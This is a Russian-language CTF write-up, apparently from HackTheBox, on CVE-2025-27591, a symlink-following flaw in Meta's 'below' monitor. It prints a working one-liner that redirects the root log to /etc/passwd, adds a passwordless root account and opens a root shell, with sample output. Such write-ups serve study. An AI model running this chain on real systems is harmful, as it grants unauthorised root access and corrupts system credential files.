
CVE-2025-27591 – Meta below symlink following локальное повышение привилегий (HackTheBox CTF)
below — повышение локальных привилегий через симлинк| Поле | Подробности |
|---|---|
| CVE | CVE-2025-27591 |
| Программное обеспечение | Meta below (монитор системных ресурсов) |
| Затронутые версии | < 0.9.0 |
| Уязвимость | Следование за симлинком → произвольная перезапись файла от root |
| Аутентификация | Локальный пользователь с доступом sudo к below |
| Воздействие | Локальное повышение привилегий до root |
| Контекст | Обнаружено во время CTF на HackTheBox |
Инструмент мониторинга системных ресурсов below (от Meta Platforms, Inc.) содержит ошибку в механизме журналирования ошибок. При вызове через sudo он принудительно устанавливает права 0666 на свои файлы журналов, расположенные в /var/log/below/, без предварительной проверки, является ли целевой путь симлинком. Это позволяет локальному злоумышленнику заменить файл журнала на симлинк, указывающий на любой файл, доступный для записи от root, тем самым перезаписывая его контролируемым содержимым.
Код журналирования в below < 0.9.0 при запуске от root выполняет следующие операции по порядку:
/var/log/below/error_root.logchmod(path, 0o666) — без проверки, является ли он симлинкомLocal user
│
▼
Remove /var/log/below/error_root.log
│
▼
Create symlink: /var/log/below/error_root.log → /etc/passwd
│
▼
Trigger error via: sudo /usr/bin/below replay --time "invalid"
│ (below opens the "log file", chmod 0666 hits /etc/passwd, writes error)
▼
/etc/passwd is now world-writable
│
▼
Append rogue root entry: rooted::0:0:root:/root:/bin/bash
│
▼
su rooted → root shell
--time "invalid"Передача недопустимой строки времени заставляет below записать сообщение об ошибке. Путь обработки ошибки достигает кода журналирования, который слепо записывает в файл, который теперь является нашим симлинком.
chmod +x exploit.sh
./exploit.sh
Предварительное условие: Текущий пользователь должен иметь права
sudoдля выполнения/usr/bin/below.
rm -f /var/log/below/error_root.log; \
ln -s /etc/passwd /var/log/below/error_root.log; \
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1; \
echo 'rooted::0:0:root:/root:/bin/bash' > /var/log/below/error_root.log; \
su rooted
$ whoami
lowpriv
$ ./exploit.sh
# whoami
root
Уязвимость была исправлена в версии below 0.9.0. Исправление добавляет проверку на симлинк перед любыми файловыми операциями в пути журналирования.